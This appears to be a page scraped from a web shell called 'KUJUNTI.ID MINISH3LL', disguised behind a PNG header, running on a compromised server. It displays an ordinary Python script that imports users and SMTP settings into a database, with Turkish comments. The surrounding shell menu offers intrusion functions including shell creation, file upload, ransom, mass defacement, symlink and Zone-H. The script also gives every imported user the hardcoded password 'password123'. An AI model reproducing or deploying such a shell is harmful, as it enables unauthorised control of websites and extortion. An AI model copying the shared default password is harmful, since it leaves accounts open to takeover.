\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/import_data.py


import json
import os
import sys
import datetime
from dotenv import load_dotenv
from sqlalchemy import create_engine, text
from werkzeug.security import generate_password_hash

# .env dosyasını yükle
load_dotenv()

# Veritabanı bağlantı bilgilerini al
db_url = os.environ.get('DATABASE_URL')

if not db_url:
    print("HATA: DATABASE_URL ortam değişkeni tanımlanmamış")
    sys.exit(1)

def parse_datetime(dt_str):
    """JSON string'ini datetime nesnesine dönüştür"""
    if not dt_str:
        return None
    try:
        return datetime.datetime.fromisoformat(dt_str)
    except ValueError:
        return None

def import_from_json(json_file):
    """JSON dosyasından verileri içe aktar"""
    try:
        # JSON dosyasını oku
        with open(json_file, 'r', encoding='utf-8') as f:
            data = json.load(f)
        
        # Veritabanı bağlantısını oluştur
        engine = create_engine(db_url)
        conn = engine.connect()
        
        # Kullanıcı verilerini içe aktar
        for user in data.get('users', []):
            # Kullanıcıya ait gerekli bilgileri al
            username = user.get('username')
            email = user.get('email')
            is_admin = user.get('is_admin', False)
            created_at = parse_datetime(user.get('created_at'))
            last_login = parse_datetime(user.get('last_login'))
            
            # Kullanıcı şifresi için geçici bir şifre oluştur
            # Bu şifre 'password123' olarak ayarlanacak, daha sonra değiştirilmeli
            temp_password = generate_password_hash('password123')
            
            # SQL sorgusu oluştur
            sql = text("""
                INSERT INTO users (username, email, password_hash, is_admin, created_at, last_login)
                VALUES (:username, :email, :password_hash, :is_admin, :created_at, :last_login)
                ON CONFLICT (username) DO NOTHING
            """)
            
            # Sorguyu çalıştır
            conn.execute(sql, {
                'username': username,
                'email': email,
                'password_hash': temp_password,
                'is_admin': is_admin,
                'created_at': created_at,
                'last_login': last_login
            })
        
        # SMTP ayarlarını içe aktar
        smtp_settings = data.get('smtp_settings')
        if smtp_settings:
            smtp_server = smtp_settings.get('mail_server')
            smtp_port = smtp_settings.get('mail_port')
            smtp_use_tls = smtp_settings.get('mail_use_tls', True)
            smtp_use_ssl = smtp_settings.get('mail_use_ssl', False)
            smtp_username = smtp_settings.get('mail_username')
            smtp_password = "Şifrenizi buraya girin"  # Güvenlik nedeniyle gerçek şifre kullanılmıyor
            smtp_sender = smtp_settings.get('mail_default_sender')
            notification_emails = smtp_settings.get('notification_emails')
            created_at = parse_datetime(smtp_settings.get('created_at'))
            updated_at = parse_datetime(smtp_settings.get('updated_at'))
            
            # SQL sorgusu oluştur
            sql = text("""
                INSERT INTO smtp_settings (
                    mail_server, mail_port, mail_use_tls, mail_use_ssl, 
                    mail_username, mail_password, mail_default_sender,
                    notification_emails, created_at, updated_at
                )
                VALUES (
                    :mail_server, :mail_port, :mail_use_tls, :mail_use_ssl,
                    :mail_username, :mail_password, :mail_default_sender,
                    :notification_emails, :created_at, :updated_at
                )
                ON CONFLICT (id) DO NOTHING
            """)
            
            # Sorguyu çalıştır
            conn.execute(sql, {
                'mail_server': smtp_server,
                'mail_port': smtp_port,
                'mail_use_tls': smtp_use_tls,
                'mail_use_ssl': smtp_use_ssl,
                'mail_username': smtp_username,
                'mail_password': smtp_password,
                'mail_default_sender': smtp_sender,
                'notification_emails': notification_emails,
                'created_at': created_at,
                'updated_at': updated_at
            })
        
        # Veritabanı bağlantısını kapat ve işlemleri kaydet
        conn.commit()
        conn.close()
        
        print(f"Veriler başarıyla içe aktarıldı: {json_file}")
        print("NOT: Kullanıcı şifresi 'password123' olarak ayarlandı. Lütfen giriş yaptıktan sonra değiştirin.")
        return True
        
    except Exception as e:
        print(f"Hata: {e}")
        return False

if __name__ == '__main__':
    # Komut satırı argümanı olarak dosya yolu verildiyse kullan, yoksa varsayılan dosyayı kullan
    import_file = sys.argv[1] if len(sys.argv) > 1 else 'database_backups/data_export_20250323_072648.json'
    import_from_json(import_file)

© KUJUNTI.ID